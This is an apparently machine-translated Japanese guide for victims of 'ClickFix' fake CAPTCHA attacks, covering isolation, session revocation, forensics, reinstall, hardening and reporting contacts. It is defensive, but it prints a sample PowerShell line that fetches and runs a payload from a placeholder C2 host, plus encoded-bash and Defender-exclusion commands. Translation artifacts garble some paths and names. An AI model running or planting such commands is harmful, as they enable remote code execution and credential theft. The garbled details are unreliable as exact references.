「ClickFix」偽 CAPTCHA 詐欺: Win+R および Ctrl+V を押すと情報を盗むマルウェアが実行される理由¶

Web サイトで「私はロボットではありません」または「人間であることを確認してください」ボタンをクリックしたばかりの場合 (または、偽の Cloudflare Turnstile、Google Meet、Zoom、またはブラウザの更新エラー ポップアップが表示された場合)、** を押すよう指示されます。Windows + R** (または macOS ターミナルを開き)、** を押しますCtrl + V** (Cmd + V)、を押しますEnter、お使いのコンピュータは、ライブ マルウェア ペイロードを実行したところです。最も一般的なのは、 Lumma Stealer、 Vidar、 StealC、 RedLine、 または Atomic macOS Stealer (AMOS) 情報窃盗者。地球上の正規の CAPTCHA、Cloudflare チェック、またはビデオ会議ツールは、人間に Windows の [ファイル名を指定して実行] ダイアログを開くように要求することはありません (Win + R)、Windows ターミナル、コマンド プロンプト、または macOS ターミナルに移動し、コマンドを貼り付けます。その Web ページで偽の「検証」チェックボックスをクリックすると、悪意のある JavaScript (navigator.clipboard.writeText()) 隠された PowerShell をサイレントにコピーしました。 mshta.exe、 rundll32、 または curl | bash コマンドをクリップボードにコピーします。押してから 3 ～ 6 秒以内 Enter、そのスクリプトは、保存されているすべてのパスワード、自動入力クレジット カード、暗号通貨ブラウザ拡張機能ボールトを復号化して抽出するメモリ内の実行可能ファイルをダウンロードしました (MetaMask、 Phantom、 Rabby)、Discord/Telegram トークン、Chrome、Edge、Brave、Firefox からのアクティブなログイン セッション Cookie - パスワードや 2 要素認証を必要とせずに、攻撃者が Gmail、Microsoft 365、銀行、企業アカウントをハイジャックできるようにします (2FA）。ハイジャックされたブラウザ セッションの徹底的な修復については、こちらも参照してください。 セッション Cookie ハイジャック、インフォスティーラー マルウェア、およびパスキーの取り消し;すでにセルフカストディウォレットから資金が流出しているのを確認した場合は、すぐに次のページにジャンプしてください。 暗号通貨ウォレットの流出とシードフレーズの侵害;または、詐欺師が AnyDesk または ScreenConnect をインストールするように誘導した場合は、次を参照してください。 テクニカル サポート ポップアップ詐欺とリモート デスクトップの削除。この感染が病院のワークステーションや自治体のネットワークで発生した場合、または緊急の生命安全の強要に関係する場合は、地元の緊急電話番号 (911 アメリカとカナダでは、 112 欧州連合全域で、 999 英国）またはディレクトリをチェックしてください。 緊急電話番号。

今すぐこれを実行してください¶

1. 感染したコンピュータのイーサネット ケーブルを 5 秒以内に抜くか、Wi-Fi をオフにしてください: 情報窃取者は次のようなものがあります。 Lumma Stealer ブラウザの SQLite データベースをパッケージ化します (Login Data、 Cookies、 Network/Cookies、 Web Data) に .zip にアーカイブする %TEMP% コマンドアンドコントロール (C2) サーバーにアクセスし、多くの場合、セカンダリ リモート アクセス トロイの木馬 (RAT)、SOCKS5 レジデンシャル プロキシ、またはランサムウェア ローダー。インターネット接続が切断されると、セカンダリ ペイロードと進行中の画面/キーストロークのストリーミングが即座に停止します。
2. 感染したコンピュータを使用してパスワードを変更しないでください。今すぐ、感染していないスマートフォン (セルラーデータ通信) または感染していないコンピュータを手に取ってください: 永続的なキーロガー、クリップボード ハイジャッカー、または HVNC (Hidden Virtual Network Computing) モジュールは感染した PC の RAM で実行されており、同じ PC で新しいパスワードを入力すると、新しい認証情報が攻撃者に直接渡されます。
3. クリーンな携帯電話から、メインメール (Gmail / Microsoft 365 / Yahoo)、パスワード マネージャー、および作業用 SSO (Okta / Entra ID） 初め：
4. 単にパスワードを変更するだけでは不十分な理由: 情報窃取者は、アクティブな認証セッション Cookie を盗みます (SAPISID、 SID、 ESTSAUTH、 .ROBLOSECURITY、 li_at）。多くのプラットフォームでは、明示的に [すべてのセッションからサインアウト/トークンを取り消す] をクリックしてパスワードを更新しない限り、エクスポートされたセッション Cookie は数日または数週間有効なままです。
5. Google / Gmail: にアクセスしてください myaccount.google.com/device-activity -> すべてのデスクトップ セッションを選択 -> [サインアウト] をクリックし、Google パスワードを変更して検査します Settings -> Forwarding and POP/IMAP サイレント転送ルールの場合。
6. Microsoft / Outlook / Entra ID: にアクセスしてください mysignins.microsoft.com/security-info -> [どこでもサインアウト] をクリックし、パスワードをリセットします。
7. ** 暗号通貨ウォレット拡張機能 (MetaMask、 Phantom、 Coinbase Wallet、 Trust Wallet、 Exodus、 Electrum) そのコンピュータ上で、すべての資金をクリーンなデバイス上の新しいシード フレーズに直ちに退避させます**:
8. Lumma Stealer そして AMOS 暗号化されたものをコピーする Local Extension Settings IndexedDB/LevelDB ファイルを Chrome/Brave/Edge から攻撃者のサーバーに直接保管します。そこで GPU クラスターがローカル拡張機能のロックをオフラインでブルートフォース攻撃してパスワードを解除します (ロックが解除されている場合は RAM からシード フレーズを直接読み取ります)。その PC に保存されているすべてのシード フレーズと秘密キーが 100% 侵害されていると仮定します。
9. PC をワイプする前に、何が実行されたかを把握できるように、貼り付けた正確なコマンドを保存してください:
10. Windows では、(オフラインのまま) メモ帳を開き、 を押します。 Ctrl + V クリップボードに残っているものを貼り付けるか、 を押します。 Windows + R ドロップダウン矢印をクリックして、最近使用したもの (MRU) に保存される実行履歴 HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU。インシデント対応のために携帯電話でそのコマンドの写真を撮ります。
11. 簡単なウイルス対策スキャンを信頼するのではなく、クリーンな USB オペレーティング システムの再インストール (または完全なオフライン フォレンジック ワイプ) を実行します: 最新 ClickFix ペイロードは正規の署名付き Windows バイナリを使用します (Living-off-the-Land Binaries または LOLBins のように mshta.exe、 powershell.exe、 certutil.exe、 regsvr32.exe、そして AutoIt3.exe) 正規のシステム プロセス (explorer.exe、 svchost.exe)、Windows Defender に除外を追加することがよくあります (Add-MpPreference -ExclusionPath）。

デシジョン ツリー: ClickFix 後の即時封じ込めと回復 Win+R または端子ペースト¶

コマンドを貼り付けたことに気づいた瞬間に、この決定木に従ってください。 Win + R、Windows ターミナル、または macOS ターミナル:

flowchart TD
    Start["偽の CAPTCHA / エラー修正コマンドを Win+R、PowerShell、または macOS ターミナルに貼り付けました"] --> Disconnect["ステップ 1 (0 ～ 10 秒): 感染したコンピュータのイーサネットを取り外し、Wi-Fi を直ちにオフにします"]

    Disconnect --> CryptoCheck{"このコンピュータには暗号ウォレット (MetaMask、Phantom、Exodus、Ledger Live、保存されたキー) がありましたか?"}

    CryptoCheck -->|"はい"| EvacCrypto["ステップ 2 (緊急): クリーンな携帯電話/ハードウェア ウォレットで、まったく新しいシード フレーズを生成し、すべての資産を直ちに転送します。"]
    CryptoCheck -->|"いいえ"| CleanDevice["ステップ 2: クリーンなスマートフォン (セルラーデータ) または感染していないデバイスに切り替える"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["ステップ 3: サーバー側のセッションを取り消し、絶対的な優先順位でパスワードをローテーションする"]

    RevokeSessions --> P1["1. プライマリ電子メール (Gmail / M365 / Proton): すべてのアクティブなデバイス セッションを強制終了し、パスワードをリセットし、転送ルールを確認します。"]
    P1 --> P2["2. 職場/企業 SSO (Okta / Entra ID / VPN / AWS / GitHub / SSH キー): 職場アカウントがログインした場合は直ちに企業 SOC に通知します。"]
    P2 --> P3["3. 金融、銀行、PayPal、Stripe、Amazon、Steam、Discord、およびソーシャルメディアアカウント"]

    P3 --> InspectPayload["ステップ 4 (感染した PC でオフライン): RunMRU レジストリと PowerShell 操作イベント ID 4104 を確認してペイロードを特定する"]

    InspectPayload --> WipeChoice{"これは企業のエンドポイントですか、それともパーソナル コンピュータですか?"}
    WipeChoice -->|"企業 / 職場アクセスを伴う BYOD"| CorpIR["EDR フォレンジック トリアージおよび BitLocker 再イメージのための IT セキュリティ / SOC へのハンド マシンのオフライン"]
    WipeChoice -->|"個人用 Windows / Mac"| CleanInstall["プレーンドキュメントのみをバックアップ (.exe/.bat/.dmg なし) -> クリーン USB を起動 -> パーティションを消去して OS を再インストール"]

フェーズ 1: 「ClickFix」攻撃の構造 - Web ページがどのようにハイジャックされるか Win + R¶

この 5 秒間にオペレーティング システム内で何が起こったのかを理解すると、特定のファイルやアカウントが差し迫った危険にさらされている一方で、他のファイルやアカウントが危険にさらされていない理由がわかります。

1. ClickFix キャンペーンで使用される 3 つのソーシャル エンジニアリングの誘惑¶

攻撃者は、マルバタイジング (スポンサー付き検索結果)、侵害された WordPress サイト、海賊版ソフトウェア/ストリーミング ポータル、偽の GitHub リポジトリ、およびフィッシングメールに ClickFix オーバーレイを配布します。 1. 偽の Cloudflare / Google reCAPTCHA ボックス (「人間であることを確認する」): 「私はロボットではありません」チェックボックスをクリックします。緑色のチェックマークの代わりに、次の内容のポップアップが表示されます: 「異常なトラフィックが検出されました。あなたが人間であることを確認するには、次の 3 つの手順を実行してください: 1. を押します。 Windows + R キーボード上で。 2. を押します Ctrl + V。 3. を押します Enter。」 2. 偽の Chrome / Edge フォントまたは更新エラー (「この Web ページの表示中に問題が発生しました」): ぼやけた背景が Web サイトを覆い、公式に見える Chrome ダイアログが表示され、ルート証明書が見つからない、またはフォントの更新を行うには Windows PowerShell / ターミナル を開いて「公式修正スクリプト」を貼り付ける必要があると主張しています。 3. 偽の Zoom / Google Meet / Microsoft Teams のマイクまたはカメラのエラー: 偽の就職面接の招待状やクライアントとのミーティングのリンクを介して送信されるこのページには、回転するビデオ画面が表示され、macOS と Windows ユーザーに ターミナル を開いて「ドライバー リセット」コマンドを貼り付けるように求めます。

2. なぜコマンドが無害に見えたのか Win + R 箱¶

の Windows + R (Run) ダイアログ テキスト ボックスは 視覚的に 259 文字の幅しかありません (MAX_PATH UI 入力フィールド)、カーソルが右にジャンプした後、貼り付けられた文字列の 末尾 のみが表示されます。攻撃者は、悪意のあるコマンドにスペースを埋め込んだり、偽のコメントで終了したりすることで、この視覚的な切り捨てを悪用します。

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. まさにそれ Lumma Stealer、 StealC、そして AMOS 4秒以内に盗む¶

フェーズ 2: アカウントのロックダウンとセッションの取り消し (1 ～ 30 分 - クリーンなデバイス上)¶

感染した PC がインターネットから完全に切断されたままになっている間、クリーンなスマートフォンまたは 2 台目のコンピュータを使用して、この正確な封じ込めシーケンスを実行します。

ステップ 1: 電子メール アカウントをロックダウンする (Gmail、 Microsoft 365 / Outlook、 Yahoo、 Apple iCloud）¶

ブラウザ プロファイルにログインした すべて の電子メール アカウント (Default、 Profile 1、 Work) そのコンピュータ上: 1. すべてのアクティブなデバイスセッションを終了します: - Google / Gmail: に移動します。 myaccount.google.com/device-activity -> 感染した Windows/Mac デバイス (および見慣れないセッション) を選択します -> [サインアウト] をクリックします。こちらもご覧ください myaccount.google.com/connections 疑わしいサードパーティ製 OAuth アプリをすべて取り消します。 - Microsoft (個人用および仕事用 M365): に移動します。 account.live.com/proofs/Manage (個人的に) または mysignins.microsoft.com/security-info (仕事) -> [どこでもサインアウト] をクリックします。 2. 電子メール パスワードを変更し、クリーンなデバイスにのみ保存されている新しい一意のパスワードに変更します。 3. 受信トレイのルール、フィルター、自動転送をすぐに監査します: 情報窃盗オペレーターは、感染後数分以内に盗んだ Gmail/Outlook Cookie にログインし、隠しフィルターを作成する自動スクリプトを実行します。 * メッセージに「セキュリティ」、「コード」、「コインベース」、「バイナンス」、「銀行」、または「Steam」が含まれる場合 -> 既読としてマーク、攻撃者に転送、ゴミ箱/RSS フィードに移動*。 - Gmail の場合: デスクトップ ビューを開きます -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses そして Forwarding and POP/IMAP。不明なフィルターや転送アドレスはすぐに削除してください。 - Outlook / M365 の場合: 開く Settings -> Mail -> Rules そして Mail -> Forwarding そして Mail -> Junk email (ブロックされた送信者をチェックして、攻撃者がブロックしていないことを確認してください) no-reply@accounts.google.com または銀行）。

ステップ 2: パスワード マネージャーをロックダウンする (Bitwarden、 1Password、 Dashlane、 KeePass、 iCloud Keychain）¶

• Chrome / Edge / Brave の組み込みパスワード マネージャー内にパスワードを保存しましたか? Chrome、Edge、Brave、Opera、または Firefox に保存されているすべてのパスワード (Firefox にカスタムのプライマリ パスワード セットがある場合を除く) は、情報窃取プログラムによって平文でエクスポートされました。 ブラウザーの組み込みパスワード マネージャーに保存されているパスワードの 100% を危険にさらされたものとして扱い、財務、電子メール、職場のアカウントから変更する必要があります。
• 専用のパスワード マネージャーを使用しましたか (1Password、 Bitwarden、 Proton Pass、 Keeper)?
• コマンドを実行した時点で保管庫がロックされていた場合、暗号化された保管庫はマスター パスワード/秘密キーによって保護されたままになります。
• ボールト拡張機能が メモリ内でロック解除された場合 (またはコマンドの実行後にマスター パスワードを入力した場合)、クリーンな電話機からパスワード マネージャー Web ボールトにログインし、すべてのセッションの認証を解除 をクリックします (Bitwarden: Settings -> My Account -> Deauthorize Sessions)、マスター パスワードをローテーションし、ボールト内で価値の高い認証情報をローテーションすることを優先します。

ステップ 3: 開発者トークン、企業トークン、およびチャット トークンを取り消す (GitHub、 AWS、 Discord、 Telegram、 Steam）¶

• Discord: Discord のパスワードを変更すると、古い認証トークンが自動的に無効になります (leveldb トークン）。携帯電話から Discord のパスワードをすぐに変更し、確認してください Settings -> Devices -> すべての既知のデバイスからログアウトし、確認してください Settings -> Authorized Apps そして Settings -> Billing (保存したクレジット カード/PayPal を削除します)。
• 電報: 携帯電話で、開きます Telegram -> Settings -> Devices -> [他のすべてのセッションを終了] をすぐにタップします (これにより、盗まれたセッションはすべて停止されます) tdata デスクトップフォルダーのクローン）。
• Steam: 携帯電話で Steam アプリを開きます -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices、パスワードを変更し、API キーが登録されていないことを確認してください。 steamcommunity.com/dev/apikey (詐欺師は不正な Steam Web API キーを登録して取引オファーを乗っ取ります)。
• GitHub / GitLab / AWS / SSH: ソフトウェア エンジニアまたはシステム管理者の場合は、次のサイトにアクセスしてください。 github.com/settings/sessions (ブラウザセッションを取り消します)、 github.com/settings/keys (その PC に保存されている SSH キーを削除します)、 github.com/settings/tokens (パーソナル アクセス トークンを取り消し)、ローテーションします。 -/.aws/credentials IAM キーは AWS IAM コンソールにすぐに追加されます。専用ガイドをご覧ください。 サプライ チェーンの npm/PyPI 侵害と開発者ワークステーションのキーのローテーション。

フェーズ 3: オフライン フォレンジック検査 - PC 上で何が実行されているかを正確に特定する¶

感染したコンピュータを消去して再インストールする前に (または企業のセキュリティ チーム向けのレポートを準備しているときに)、感染したコンピュータの内容を安全に検査できます。 ClickFix コマンドは マシンを 100% オフラインに保ちながら (Wi-Fi オフ、イーサネットが接続されていない) 実行しました。

1. Windowsの検査 Win + R 履歴とPowerShellログ¶

1. Windows の実行を確認してください (Win + R) レジストリ MRU (Most Recently Used) リスト: 開く regedit.exe またはオフラインの PowerShell ウィンドウで次を実行します。

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   これまでに入力または貼り付けられたすべてのコマンド Win + R ここのプロパティの下に保存されます a、 b、 c、など。最初に示されている文字に記録されているコマンドを見てください。 MRUList。
2. PowerShell スクリプト ブロックのログ イベント ログ (イベント ID) を確認してください。 4104): たとえ攻撃者が使用したとしても -WindowStyle Hidden (-w h) および Base64 エンコーディング (-EncodedCommand / -e)、Windows は疑わしい PowerShell スクリプトを自動的にデコードし、イベント ビューアーに記録します。
3. プレス Win + X -> イベント ビューア -> に移動します Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational。
4. イベント ID のフィルター 4104 (Execute a Remote Command）。難読化が解除された正確な PowerShell スクリプト、ダウンロード元の URL、およびフォルダーが表示されます。 %TEMP%、 %AppData%、 または %LocalAppData% セカンダリペイロードを落とした場所。
5. Windows 上の永続性がインストールされた場所を確認します: 情報窃取者とそのローダー スクリプト (NetSupport Manager RAT、 Amadey、 SectopRAT、 AsyncRAT) 4 つの場所で再起動時の生存を確立します。

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (見たら C:\、 C:\Users、 %AppData%、 または .exe の下に追加されました ExclusionPath または ExclusionProcess、マルウェアはマシン上の Microsoft Defender を明示的に盲目にしました。)

2. ターミナル ClickFix 後の macOS の検査 (Atomic macOS Stealer / AMOS または Poseidon）¶

macOS では、ClickFix ページでユーザーに ターミナル (Cmd + Space -> Terminal) を入力し、次のような Base64 でエンコードされたコマンドを貼り付けます。 echo "..." | base64 -d | bash。 1. オフライン中に、シェル履歴を確認してください (cat -/.zsh_history | tail -n 30 または cat -/.bash_history）。 2. マルウェアが永続的なバックグラウンド LaunchAgent をインストールしたかどうかを確認します。

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

フェーズ 4: クリーン修復 - ワイプして再インストールする (またはオフライン レスキューを実行する) 必要がある理由¶

治安機関 (CISA、 FBI、 NCSC) 情報窃取または攻撃を受けた後は、クリーンな USB ドライブからオペレーティング システムを消去して再インストールすることを強くお勧めします。 LOLBin ローダーは頻繁に正規のシステム バイナリにシェルコードを挿入したり、ルートキット/プロキシ ドライバーをインストールしたり、休止状態のバックドアを放置したりするため、実行されません (NetSupport RAT / Cobalt Strike）。

段階的なクリーン再インストールと安全なファイル バックアップ¶

1. 感染した PC がまだオフラインの間は、純粋なデータ ファイルのみをバックアップしてください: 個人的な文書、写真、スプレッドシート、ソース コードのみをコピーしてください (.pdf、 .jpg、 .docx、 .xlsx、 .mp4、 .txt) を外部 USB ドライブにコピーします。 決してバックアップしないでください .exe、 .msi、 .bat、 .ps1、 .vbs、 .js、 .lnk、 .dmg、 .pkg、またはブラウザ User Data プロファイル フォルダー。
2. 2 番目のクリーンなコンピューターで、起動可能な Windows 11 メディア作成 USB (microsoft.com/software-download/windows11) または macOS リカバリ環境。
3. クリーン USB インストーラーから起動し、ブート SSD 上の既存のパーティションをすべて削除し (これにより、EFI システム パーティション、MSR、およびプライマリ OS パーティションが新たに作成されます)、オペレーティング システムのクリーン コピーをインストールします。
4. どうしてもすぐにマシンを拭くことができない場合:
5. すべての Defender の除外を削除します (Remove-MpPreference -ExclusionPath ...）。
6. ネットワークを無効にして Windows セーフ モード で起動し (または Kaspersky Rescue Disk / ESET SysRescue Live USB から起動し)、Microsoft Defender Offline (Start-MpWDOScan)、Malwarebytes、ESET Online Scanner、さらに Sysinternals Autoruns のすべてのエントリを検査します (autoruns64.exe) (Microsoft エントリを非表示) のチェックを外します。

フェーズ 5: ClickFix が二度と起こらないよう Windows と macOS を強化する¶

• 非表示または無効にします Windows + R (Run) 技術者以外の家族メンバーまたは標準的な企業ユーザー向けのグループ ポリシー/レジストリ経由のダイアログ: 設定 NoRun = 1 (DWORD）の下 HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer を完全に無効にします Windows + R キーボードショートカット。 ClickFix 攻撃の 95% はユーザーのキー入力に依存しているためです。 Win + R、[実行]ダイアログを無効にすると、ユーザーが何かを貼り付ける前に攻撃がコールドで停止します。
• デフォルトのファイルの関連付けを変更します .hta、 .vbs、 .js、そして .wsf スクリプトを notepad.exe: 無効にする mshta.exe そして wscript.exe Windows 攻撃対象領域の削減経由 (ASR) ルールまたは関連付け .hta/.vbs/.js メモ帳を使用すると、スクリプトの実行が防止されます。
• 重要なアカウントをハードウェアにバインドされたパスキーにアップグレードします (FIDO2 / WebAuthn YubiKey などのセキュリティ キー): 情報窃盗者はログイン後にブラウザからセッション Cookie を盗むことができますが、ハードウェア セキュリティ キー (FIDO2) 短いセッション存続期間と継続的アクセス評価 (CAE / デバイスにバインドされたセッション認証情報 DBSC) 攻撃者が基礎となる資格情報を再認証したりエクスポートしたりすることを防ぎます。
• ブラウザ広告とマルバタイジング ブロッカーをインストールします (uBlock Origin / uBlock Origin Lite) 強化されたセーフ ブラウジングを有効にします: ClickFix 感染の 60% 以上は、正規のソフトウェアを装った悪意のある Google/Bing 検索広告から発生しています (Slack、 Notion、 OBS、 Homebrew、 WinSCP、 TradingView）またはストリーミングサイト。

地域の緊急電話番号と政府機関のプロトコル¶

ClickFix / Lumma Stealer 企業の資格情報、医療システム、金融口座、または政府ネットワークが感染によって侵害された場合は、公式ルートを通じて直ちにインシデントを報告してください。

• 米国およびカナダ:
• 緊急人命安全 / 重要インフラ: ダイヤル 911 感染により病院の臨床システムや公共の安全活動が混乱した場合。
• FBI インターネット犯罪苦情センター (IC3) (米国): ** に即時報告を提出してください。ic3.gov** (特に、暗号通貨、銀行振込、または企業のビジネス電子メール侵害が、盗まれたセッション Cookie によって引き起こされた場合)。
• サイバーセキュリティ・インフラセキュリティ庁 (CISA) (米国): エンタープライズおよび重要なインフラストラクチャ組織は、情報窃盗による侵害を ** に報告する必要があります。1-844-Say-CISA (1-844-729-2472)** または cisa.gov/report。
• カナダ詐欺防止センター (CAFC) & サイバー センター: ** に電話してください。1-888-495-8501** または次のアドレスに報告してください cyber.gc.ca。
• イギリス:
• 緊急サービス: ** にダイヤルしてください999** （または 101 緊急事態以外の警察の場合）。
• Action Fraud と NCSC: サイバー犯罪と盗難された資金を Action Fraud (0300 123 2040 / actionfraud.police.uk)。企業の顧客データまたは認証情報が流出した場合は、ICO に対する必須の 英国の 72 時間以内の GDPR 通知を評価してください (0303 123 1113)。
• 欧州連合:
• 緊急サービス: ** にダイヤルしてください112** すべての EU 加盟国で。
• GDPR 第 33 条および NIS2 CSIRT レポート: なぜなら Lumma Stealer すべてのブラウザを盗み出す Login Data、 Cookies、および自動入力キャッシュの場合、従業員または顧客の個人データを保持していた感染した企業のラップトップは 確認された機密性データ侵害となり、72 時間以内に国のデータ保護当局に通知するための評価が必要です (DPA)。
• オーストラリアとニュージーランド:
• 緊急サービス: ** にダイヤルしてください000** オーストラリアまたは 111 ニュージーランド。
• オーストラリアサイバーセキュリティセンター (ACSC / ReportCyber): 電話 1300 CYBER1 (1300 292 371) または次のファイル cyber.gov.au (IDCARE までご連絡ください。 1800 595 160 ID 回復用)。ニュージーランドでは、CERT NZ (0800 237 869)。
• インドとアジア太平洋:
• インド国家サイバー犯罪ヘルプラインと CERT-In: 電話1930 金融詐欺が発生した場合は、直ちに次の宛先に提出してください。 cybercrime.gov.in、組織的侵害を CERT-In (incident@cert-in.org.in) 6 時間以内。

よくある質問¶

開けました Win + R そして押した Ctrl + V, そのため、テキストがボックスに表示されましたが、見た目が怪しいことに気づき、押さずに「キャンセル」をクリックしました Enter。私は感染しているのでしょうか？¶

いいえ、完全に安全です。 ブラウザの Web ページは、JavaScript を使用してテキストをクリップボードにコピーできます (navigator.clipboard.writeText）を押して、 勝利+R 続いて Ctrl + V そのテキスト文字列を Windows の [ファイル名を指定して実行] 入力ボックスに貼り付けるだけです。 を押すまで何も実行されません 入力してください またはクリックしてください OK。 クリックした場合 キャンセル または閉じた 走る 押さずにボックスに入れる 入力してください、コマンドは起動されませんでした。次のような無害な単語をコピーしてクリップボードをクリアするだけです。 こんにちは。 メモ帳で [悪意のあるブラウザ] タブを閉じます。

コマンドを貼り付けたときに Windows Defender またはウイルス対策ソフトがブロックしなかったのはなぜですか Win + R?¶

ログインしている人間のユーザーであるあなたが物理的に圧迫されているため、 勝利+R そして殴る 入力してください, Windows は、コマンドを、から起動された意図的な管理アクションとして扱います。 エクスプローラー.exe インターネットからダウンロードされた信頼できないファイル (通常、Mark-of-the-Web が含まれるファイル) ではなく、 ゾーン.識別子 タグ）。さらに、ClickFix チェーンは組み込みの Microsoft 署名バイナリを使用します (mshta.exe、 powershell.exe、 conhost.exe、または次のような署名されたサードパーティのインタープリター AutoIt3.exe) ペイロードを RAM 内で直接アセンブルおよび復号化し、多くの場合実行されます。 Add-MpPreference -ExclusionPath "C:\" 認識可能なマルウェア ファイルをディスクに書き込む前の最初のミリ秒内。

情報窃取者は、私の PC 上のすべてのユーザー アカウントからファイルを盗みますか、それともログインしたプロファイルだけを盗みますか (Default 対 Profile 1、 Profile 2）？¶

情報窃盗者のスキャン すべてのブラウザ プロファイル フォルダー Windows ユーザー アカウント内 (%LocalAppData%\Google\Chrome\ユーザー データ\Default、 プロフィール 1、 プロフィール 2、Chrome、Edge、Brave、Opera、Firefox など)、その時点でセカンダリ ブラウザー プロファイルに開いているウィンドウがなかったとしても。つまり、同じ Windows ログインで「仕事用」Chrome プロファイルと「個人用」Chrome プロファイルを別々に保持すると、 両方のプロファイルで、保存されているパスワードとセッション Cookie が同時に盗まれました。。

Google または Microsoft アカウントでパスキーを使用していた場合、情報窃盗犯が私のパスキーを盗んだのでしょうか?¶

それはパスキーが保存された場所によって異なりますが、さらに重要なのは、 あなたがそのパスキーでログインした後に作成されたアクティブなセッションクッキーを盗んだのは間違いありません。まず、その PC の Chrome/Edge で既に Google/Microsoft にログインしている場合、攻撃者はライブ認証されたセッション Cookie を盗んだため、パスキーは必要ありません。そのため、引き続きクリックする必要があります。 すべてのセッションからサインアウトする クリーンなデバイス上で。次に、パスキーが Windows Hello (TPM2.0 ハードウェア チップ）または物理的な YubiKey または iPhone 上では、ハードウェア チップ内の秘密キーをマルウェアによってエクスポートすることはできません。ただし、同期されたパスキーをその PC 上のロックされていないサードパーティのブラウザ拡張機能保管庫内に保存した場合は、アカウントのセキュリティ設定でそれらのパスキーをすぐに取り消してください。

Google Chromeの「アプリバインド暗号化」はどうなっているのか（v20 Cookie) が影響を受けます。 Lumma Stealer バイパスしますか？¶

Chrome 127 以降、Google は、Cookie 暗号化をバインドするアプリバインド暗号化を Windows に導入しました (`v20` プレフィックス) を昇格された Windows システム サービス (`GoogleChromeElevationService`) 権限の低いマルウェアによる Cookie の復号化を阻止します。ただし、最新のビルドでは、 ルマ・スティーラー、 スティールC、そして メデューサ のヘッドレス インスタンスにコードを直接挿入することで、アプリバインド暗号化を積極的にバイパスします。 クロム.exe、Chrome のリモート デバッグ ポートを悪用します (--リモートデバッグポート)、または呼び出し権限を昇格します。 Iエレベーター COMインターフェイス。 ClickFix ペイロードを実行した場合、Chrome 127 以降でセッション Cookie が保護されているとは決して考えないでください。常にすべてのセッションをすぐに取り消してください。

iPhone または Android 携帯電話で実行された ClickFix コマンドは、携帯電話に感染しますか? Win + R マルウェア？¶

iPhone で偽の CAPTCHA をタップした場合 (`iOS`) または Android フォン、任意の Windows PowerShell / mshta.exe コマンドがモバイルのクリップボードにコピーされました iOS または Android では実行できませんモバイル オペレーティング システムには 勝利+R 実行ダイアログ、 powershell.exe、 または mshta.exe。ただし、一部のモバイル対応 ClickFix ページは、モバイル ユーザー エージェントを検出し、悪意のある Android をインストールするようにリダイレクトします。 .apk ファイル、不正な iOS モバイル デバイス管理 (`MDM`) 構成プロファイル、または悪意のある PWA/Web プッシュ通知サブスクリプション。ダウンロードしたファイルやプロファイルをインストールしていないことを確認してください。

関連ガイド¶

• セッション Cookie ハイジャック、インフォスティーラー マルウェア、およびパスキーの取り消し
• 暗号通貨ウォレットの流出とシードフレーズの侵害
• マルウェア、ランサムウェア、スパイウェアの感染
• 電子メールアカウントのハッキング、転送ルール、および回復
• サプライ チェーンの npm/PyPI パッケージの侵害と開発者ワークステーションのキーのローテーション
• 偽のウイルス対策スケアウェア、通知スパム、ブラウザのプッシュ権限のパージ
• 国別の緊急電話番号

情報源と公式ガイダンス¶

• サイバーセキュリティ・インフラセキュリティ庁 (CISA) & 連邦捜査局 (FBI) (米国): 共同サイバーセキュリティ勧告 (AA24-131A / Infostealer および Lumma Stealer 脅威勧告): 陸地外での生活の軽減 (LOLBin) およびセッション トークン盗難攻撃。
• 米国国立標準技術研究所 (NIST) (米国): 特別出版物 800-61 Rev. 2: コンピューター セキュリティ インシデント処理ガイド & SP 800-63B: デジタル ID ガイドライン (セッション管理と再認証)。
• Microsoft 脅威インテリジェンス (Microsoft Security): ClickFix ソーシャル エンジニアリング キャンペーン、偽の CAPTCHA クリップボード インジェクションの分析 (RunMRU)、PowerShell スクリプト ブロックのログ記録 (Event ID 4104)。
• 国家サイバーセキュリティセンター (NCSC) (英国): マルウェアおよびランサムウェア攻撃の軽減とデバイスレベルの認証情報盗難に関するガイダンス。
• 欧州連合サイバーセキュリティ庁 (ENISA): ENISA 脅威状況レポート: 情報を盗む者 (Lumma、 StealC、 RedLine、 AMOS) およびセッション Cookie ハイジャック対策。